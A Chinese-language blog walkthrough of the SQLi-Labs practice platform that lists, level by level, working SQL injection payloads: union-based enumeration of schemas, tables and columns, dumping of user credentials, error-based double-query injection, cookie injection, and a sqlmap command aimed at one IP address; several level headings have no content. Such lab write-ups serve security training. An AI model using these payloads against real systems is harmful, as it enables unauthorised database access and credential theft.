SQLi-Labs是一个专业的SQL注入练习平台,以前也偶尔练习过一些些关卡,但一直没有系统的练习全部关卡过,希望这次可以坚持下去吧~~
SQLi-LABS闯关游戏下载地址:https://github.com/Audi-1/sqli-labs
Less-1(GET单引号字符型注入)
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 单引号字符型注入 | id=’$id’ |
#查看页面变化,判断sql注入类别
?id=1 and 1=1
?id=1 and 1=2
#确定字段数 #不能用#【注意1】
?id=1' order by 3 --+
?id=1' order by 4 %23
#联合查询查看显示位 #id要为负数【注意2】
?id=-1' union select 1,2,3 --+
#爆库【security】
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1' union select 1,2,database() --+
#爆表【emails,referers,uagents,users】
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列【...id,username,password...】
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值【DumbDumb...】
?id=-1' union select 1,2,group_concat(username,password) from users --+
注意1:URL框中的sql语句中不能用直接使用#
号,要用--+
(等价于–空格)或者%23
,但是输入框中可以用#
,应为输入框提交是会执行一次URL编码,#
会被编译成%23
原因是url中#
号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#
将#号改成url的编码%23
或者使用--+
就可以了
注意2:在联合查询查看显示位,使用union联合查询后发现页面返回的数据没变,这是因为如果左边的SQL语句正确执行那么就会只返回左边第一个查询语句的运行结果,那么我们只要让第一行查询的结果是空集
(即union左边的select子句查询结果为空),那么我们union右边的查询结果自然就成为了第一行,就打印在网页上了。
这个id传递的是数字,而且一般都是从1开始自增的,我们可以把id值设为非正数
(负数或0),浮点数,字符型或字符串都行,主要是使左边的查询语句报错就行。
Less-2(GET数字型注入)
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 数字型注入 | id=$id |
#查看页面变化,判断sql注入类别
?id=1 and 1=1
?id=1 and 1=2
#确定字段数
?id=1 order by 3
?id=1 order by 4
#联合查询查看显示位
?id=-1 union select 1,2,3
#爆库
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
?id=-1 union select 1,2,database()
#爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
#爆列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
#爆值
?id=-1 union select 1,2,group_concat(username,password) from users
Less-3(GET单引号变形字符型注入)
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 单引号变形字符型注入 | id=(‘$id’) |
#查看页面变化,判断sql注入类别
?id=1 and 1=1
?id=1 and 1=2
?id=1' order by 3 --+
#报错 for the right syntax to use near 'order by 3 -- ') LIMIT 0,1' at line 1
#由错误提示可知后台查询语句应为select * from * where id = ('$id') LIMIT 0,1
#构造?id=1') --+ 进行测试。访问正常,猜测正确。
#确定字段数
?id=1') order by 3 --+
?id=1') order by 4 --+
#联合查询查看显示位
?id=-1') union select 1,2,3 --+
#爆库
?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1') union select 1,2,database() --+
#爆表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值
?id=-1') union select 1,group_concat(username),group_concat(password) from users --+
Less-4(GET双引号字符型注入)
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 双引号字符型注入 | id=”$id” |
#查看页面变化,判断sql注入类别
?id=1 and 1=1
?id=1 and 1=2
?id=1' order by 4 --+
?id=1" order by 4 --+
#报错 to use near 'order by 4 -- ") LIMIT 0,1' at line 1
#由错误提示可知后台查询语句应为select * from * where id = ("$id") LIMIT 0,1
#构造?id=1") --+ 进行测试。访问正常,猜测正确。
#确定字段数
?id=1") order by 3 --+
?id=1") order by 4 --+
#联合查询查看显示位
?id=-1") union select 1,2,3 --+
#爆库
?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1") union select 1,2,database() --+
#爆表
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值
?id=-1") union select 1,group_concat(username),group_concat(password) from users --+
Less-5(GET单引号字符型双查询注入)
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 单引号字符型双查询注入 | id=’$id’ |
#查看页面变化,判断sql注入类别
?id=1
?id=1'
#确定字段数
?id=1' order by 3 --+
?id=1' order by 4 --+
#联合查询查看显示位
?id=-1' union select 1,2,3 --+
#爆库【Duplicate entry 'security-1' for key ''】
?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from information_schema.tables group by a--+
#爆表【Duplicate entry 'emails,referers,uagents,users-0' for key ''】
?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2))as a from information_schema.tables group by a--+
#爆列【Duplicate entry '...,id,username,password,' for key ''】
?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_name='users'),floor(rand()*2))as a from information_schema.tables group by a--+
#爆值【Duplicate entry '1*Dumb*Dumb-1' for key ''】
?id=-1' union select 1,count(*),concat_ws('-',(select concat_ws('*',id,username,password) from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a--+
#注意:因为这里查询结果只能一行,所以不能用group_concat(),使用group_concat()查询结果超过一行,可以修改limit的范围来遍历用户信息。
Less-6(GET双引号字符型双查询注入)
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 双引号字符型双查询注入 | id=”$id” |
和 Less-5 差别只在于单双引号,可用Less-5方法进行注入,这里不再赘述。
Less-7(GET导出文件字符型注入)
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 导出文件字符型注入 | id=(‘$id’) |
Less-18(POST单引号UA注入)
Less-19(POST单引号Referer注入)
Less-20(POST单引号Cookie注入)
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 单引号Cookie注入 | username=’$cookee’ |
手工注入
进来先输入用户名密码(admin/admin),测试一下,发现是关于cookie值的进行注入,那我们就Burp抓包进行注入
#修改Cookie,查看页面变化,判断sql注入类别
Cookie: uname=admin
Cookie: uname=admin'
#确定字段数
Cookie: uname=jwt' order by 3 --+
Cookie: uname=jwt' order by 4 --+
#联合查询查看显示位
Cookie: uname=jwt' union select 1,2,3 --+
#爆库
Cookie: uname=jwt' union select 1,2,database() --+
#爆表
Cookie: uname=jwt' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
#爆列
Cookie: uname=jwt' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值
Cookie: uname=jwt' union select 1,group_concat(username),group_concat(password) from users --+
Sqlmap
sqlmap -u http://139.224.112.182:8087/sqli1/Less-20/index.php --cookie 'uname=admin' --level 2 --dbs
赞助💰
如果你觉得对你有帮助,你可以请我喝一杯冰可乐!嘻嘻🤭
支付宝支付 | 微信支付 |